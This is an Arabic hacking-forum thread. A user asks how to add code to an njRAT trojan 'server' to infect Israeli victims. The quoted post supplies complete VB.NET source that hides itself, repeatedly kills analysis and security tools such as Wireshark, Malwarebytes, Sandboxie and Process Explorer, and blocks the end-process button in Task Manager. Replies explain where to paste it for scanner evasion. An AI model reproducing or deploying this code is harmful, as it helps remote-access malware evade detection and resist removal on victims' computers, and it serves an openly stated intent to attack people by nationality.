كيفية استخدام الاكواد والاستافدة منها في تكوين السيرفر

[اسير السرور]

منها, الاكواد, السيرفر, استخدام, تكوين, والاستافدة, كيفية

كيفية استخدام الاكواد والاستافدة منها في تكوين السيرفر

بسم الله الرحمن الرحيم

تحية طيبة.....



واجهتني مشكلة في الطريقة الصحيحة في استخدام هذه الاكواد وانا محتاجها لتثبيت الضحايا الاسرائيلين
اتمنى افادتي وكيفية استخدام هذه الكود علما ان البرنامج نجر رات +كيفية اضافته للسيرفر

	المشاركة الأصلية كتبت بواسطة security.najaf

	الحمد لله الذي لولاه ما جرى قلم , ولا تكلم لسان , والصلاة والسلام على سيدنا محمد [ صلى الله عليه واله وصحبة وسلم ] كان أفصح الناس لسانا وأوضحهم بياناً . |------------------------------------------------------------------------------------------| [ .. كيف حالكم اعضاء حماية الاجهزة اقسم بالله انني اشتقت لكم ، اليوم درسنا يتكلم عن طريقة للتلغيم في الـ ' vb.net ' .. ] [ .. الكل شاهد سيرفر البيفروست المجنون للمبرمج ' aelx alex ales ' .. ] [ .. جاءتني فكرة ان اقوم بعمل نفس السيرفر ولانني مبتدأ جداااااا بالـ ' vb.net ' .. ] [ .. لذلك لا تتوقعوا مني الكثير فأنا مازلت مبتدأ .. ] [ .. مبدأ العمل ، اذا قمت بتشغيل السيرفر ووجد اي برنامج فحص يقتلة ولا يعمل ابدا الا ان قمت قتل السيرفر + السيرفر لا يمكن قتلة :15: .. ] [ .. علينا ذكر الحقوق ' كود منع قتل العمليات من برمجة njq8 ' .. ] [ .. تم تطبيق الفكرة على ' vb.net 2012 ' .. ] [ .. نبدأ .. ] [ .. انا قمت بتخطي ، فقط هذه البرامج .. ] [ .. procexp .. ] [ .. البروسس الشهير .. ] [ .. sindbox .. ] [ .. نظام العزل الساند بوكس .. ] [ .. spythespy .. ] [ .. مراقبة المسارات .. ] [ .. speedgear .. ] [ .. تسريع الوقت .. ] [ .. wireshark .. ] [ .. مراقبة الاتصالات الخارجية .. ] [ .. apatedns .. ] [ .. مراقبة الاتصالات الخارجية .. ] [ .. malwarbytes .. ] [ .. صائد السيرفرات المشفرة .. ] [ .. ipblocker .. ] [ .. مراقبة الاتصالات الخارجية .. ] [ .. cports .. ] [ .. مراقبة العمليات + البورت لكل عملية .. ] |------------------------------------------------------------------------------------------| [ .. اولا ' نقوم بفتح مشروع جديد ، ثم نقوم بإضافة ' timer ' .. ] [ .. الان انقر نقرتان على الفورم الاساسي ، واكتب فيه .. ] public class form1 dim c as new antitaskmanager private sub form1_formclosing(byval sender as object, byval e as system.windows.forms.formclosingeventargs) handles me.formclosing end end sub private sub form1_load(byval sender as system.object, byval e as system.eventargs) handles mybase.load me.hide() control.checkforillegalcrossthreadcalls = false dim t as new threading.thread(addressof c.protect) t.start() timer1.start() me.r e fresh() end sub private sub timer1_tick(sender as object, e as eventargs) handles timer1.tick on error resume next dim security() as process = system.diagnostics.process.getprocessesbyname("procexp") for each najaf as process in security najaf.kill() next dim security1() as process = system.diagnostics.process.getprocessesbyname("sbiectrl") for each najaf1 as process in security1 najaf1.kill() next dim security2() as process = system.diagnostics.process.getprocessesbyname("spythespy") for each najaf2 as process in security2 najaf2.kill() next dim security3() as process = system.diagnostics.process.getprocessesbyname("speedgear") for each najaf3 as process in security3 najaf3.kill() next dim security9() as process = system.diagnostics.process.getprocessesbyname("wireshark") for each najaf9 as process in security9 najaf9.kill() next dim security10() as process = system.diagnostics.process.getprocessesbyname("mbam") for each najaf10 as process in security10 najaf10.kill() next dim security13() as process = system.diagnostics.process.getprocessesbyname("apatedns") for each najaf13 as process in security13 najaf13.kill() next dim security14() as process = system.diagnostics.process.getprocessesbyname("ipblocker") for each najaf14 as process in security14 najaf14.kill() next dim security15() as process = system.diagnostics.process.getprocessesbyname("cports") for each najaf15 as process in security15 najaf15.kill() next end sub end class public class antitaskmanager ' c0d3d by njq8 <runtime.interopservices.dllimport("user32.dll")> _ private shared function enablewindow(byval hwnd as intptr, byval benable as boolean) as boolean end function private declare function getwindowthreadprocessid lib "user32.dll" (byval hwnd as _ intptr, byref lpdwprocessid as integer) as integer private declare function getforegroundwindow lib "user32.dll" () as intptr private declare function getclassname lib "user32" alias "getclassnamea" (byval hwnd as _ integer, byval lpclassname as string, byval nmaxcount as integer) as integer private declare function sendmessage lib "user32" alias "sendmessagea" (byval _ hwnd as integer, byval wmsg as integer, byval wparam as integer, byval lparam as string) as integer private declare auto function getwindowtext lib "user32.dll" (byval hwnd as int32, _ byval lpstring as system.text.stringbuilder, byval cch as int32) as int32 private declare auto function getwindowtextlength lib "user32.dll" (byval hwnd as int32) as int32 private delegate function enumwindproc(byval hwnd as int32, byval lparam as int32) as boolean private delegate function enumchildwindproc(byval hwnd as int32, byval _ lparam as int32) as boolean private declare function enumchildwindows lib "user32" (byval hwnd as intptr, _ byval lpenumfunc as enumwindproc, byref lparam as intptr) as int32 private function enumchild(byval hwnd as int32, byval lparam as int32) as boolean cld.add(hwnd) return true end function public sub protect() while true threading.thread.sleep(0) dim hwd = getforegroundwindow if hwd.toint32 = 0 then continue while dim id as integer = 0 getwindowthreadprocessid(hwd, id) if id > 0 then dim title as string = "" dim text_len as integer = getwindowtextlength(hwd) if text_len = 0 then title = "" else dim sb as new system.text.stringbuilder(text_len + 1) dim ret = getwindowtext(hwd, sb, sb.capacity) if ret = 0 then title = "" else title = sb.tostring end if end if dim p as process = process.getprocessbyid(id) if p.processname.tolower = "taskmgr" or p.processname.tolower _ = "processhacker" or title.tolower = "process explorer" then dim button as new list(of intptr) dim statics as integer = 0 for each x as intptr in getchild(hwd) dim classname as string = space(200) dim ln as integer = getclassname(x, classname, 200) classname = classname.remove(ln, 200 - ln) if classname.tolower = "button" then button.add(x) end if if classname.tolower = "static" or classname.tolower _ = "directuihwnd" then statics += 1 end if next if button.count = 2 and (statics = 2 or statics = 1) then enablewindow(button(0), false) sendmessage(button(0), &hc, 0, "") end if end if end if end while end sub private cld as new list(of intptr) private function getchild(byval hwd as intptr) as intptr() synclock me cld.clear() enumchildwindows(hwd, new enumwindproc(addressof enumchild), 0) return cld.toarray end synclock end function end class [ .. قم بعمل كومبايل وقم بتشغيل البرنامج وحاول تقتلة .. ] :15: :15: :15: :15: :15: :15: :15: :15: :15: :15: [ .. تم عمل التخطي + منع القتل ، بما انني اعتزلت الاختراق لن اشرح طريقة اضافة السيرفر .. ] [ .. غير مبرء للذمة واسأل الله العلي العضيم ان يخسف به الارض من يستخدم الطريقة لاذية مسلم او مسيحي .. ] [ .. اهداء لكل شخص يسأل عني دائما .. ] :32:

شكرا لكم

المصدر: development-point - للمزيد تابع : مشاكل وحلول إختراق الأجهزة

---

;dtdm hsjo]hl hgh;,h] ,hghsjht]m lkih td j;,dk hgsdvtv

[[ صـقـور الإبـدآع ]]

وعليكم السلام ورحمة الله
اخي بداية التزم بالقوانين
هناك قسم اسمه مشاكل وحلول اختراق الاجهزة
ينقل الى القسم المناسب ولي عودة

[[ صـقـور الإبـدآع ]]

اخي كما موضوح بالشرح

[ .. اولا ' نقوم بفتح مشروع جديد ، ثم نقوم بإضافة ' timer ' .. ]

[ .. الان انقر نقرتان على الفورم الاساسي ، واكتب فيه .. ]

لا تنسى وضع تايمر واحد بالفروم
هده ملاحظة :هدا ليس لتبيت الضحية هدا لتخطي برامج الفحص وبعدين هده البرامج قديمة
ما اضن احد يستخدمها الى الان
وكدلك لا انصحك بالاكواد لانها تؤتر سلبا على السيرفر

[,я_ρяσχу']

يعطيك العافية #
لاهنت على الطرح

[Estudiante de hack]

يعطيك العافيةْ~

[ صـقـور الإبـدآع ]